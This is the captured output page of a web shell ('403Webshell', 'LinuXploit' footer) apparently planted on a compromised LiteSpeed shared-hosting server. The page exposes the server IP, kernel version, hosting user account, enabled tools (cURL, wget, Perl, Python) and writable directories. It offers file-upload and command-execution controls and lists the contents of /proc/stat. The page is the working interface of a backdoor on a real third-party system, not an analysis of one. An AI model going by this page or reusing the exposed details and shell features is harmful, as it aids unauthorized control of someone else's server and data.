403Webshell
Server IP : 66.29.153.156  /  Your IP : 216.73.217.54
Web Server : LiteSpeed
System : Linux premium322.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : lastyfjz ( 1521)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /././proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /././proc///stat
cpu  21315812977 347236742 6213336259 52701465746 1149793396 0 854492279 25543336 0 0
cpu0 872792236 14439796 254655730 2210827441 47445795 0 45964172 1025605 0 0
cpu1 889878187 14716956 261056097 2189477841 47923632 0 40776563 1017493 0 0
cpu2 889862305 14838907 258114751 2192462335 48279624 0 38661234 1014753 0 0
cpu3 895555434 14702313 263428112 2183271619 48357534 0 36743344 1012651 0 0
cpu4 894578515 14660133 263535762 2191875027 48664818 0 29908812 1004823 0 0
cpu5 895839260 14673281 263793768 2190390925 48432776 0 29883406 1013717 0 0
cpu6 893097776 14747675 260819005 2196662630 48634907 0 28929745 1002195 0 0
cpu7 893555957 14737808 261875216 2195464430 48602381 0 28588505 1001716 0 0
cpu8 894487000 14541221 259593306 2189883228 48221334 0 34230898 1005413 0 0
cpu9 886150372 14412994 255701600 2168039617 46792208 0 64888704 1299623 0 0
cpu10 891867047 14454488 258031482 2194362262 48176733 0 33948223 1004291 0 0
cpu11 896821192 14367749 258713897 2186828785 46934323 0 31488733 1318443 0 0
cpu12 892162739 14259270 261451200 2191005924 48047543 0 33764865 1005121 0 0
cpu13 892172499 14430340 258925001 2193828136 48100257 0 33587267 1003250 0 0
cpu14 889311428 14404279 256142632 2199523752 47984215 0 33553627 1003636 0 0
cpu15 889873002 14432323 257698062 2197508658 48041501 0 33458385 1002771 0 0
cpu16 889426693 14243927 255954861 2199969983 47953535 0 33392075 1002574 0 0
cpu17 888394414 14324962 257733303 2199139768 48020477 0 33348734 1002474 0 0
cpu18 890246424 14405021 256601782 2197957485 47837343 0 33725876 1012092 0 0
cpu19 887547092 14318918 257662269 2200432439 47841192 0 33223243 1000770 0 0
cpu20 846189021 14336482 256578428 2246266094 48229551 0 28480580 1023290 0 0
cpu21 879121929 14190291 257078023 2177926881 46446630 0 61875471 1457702 0 0
cpu22 886203886 14255840 256771585 2209722145 48026644 0 27203333 993567 0 0
cpu23 890678559 14341757 261420375 2198638332 46798431 0 24866474 1315356 0 0
intr 97611447431 61 13 0 0 1648 0 0 0 48 1 0 0 409 0 34622721 0 0 0 0 0 0 0 0 0 0 67 0 0 0 1903790463 1836864059 5 245872264 1055977014 5 855084618 804563128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 1012888581712
btime 1747996122
processes 3403632746
procs_running 12
procs_blocked 0
softirq 226531347265 1 1168973729 63226 1013913485 2650724118 0 3015606488 1796606065 9514560 2127580793

Youez - 2016 - github.com/yon3zu
LinuXploit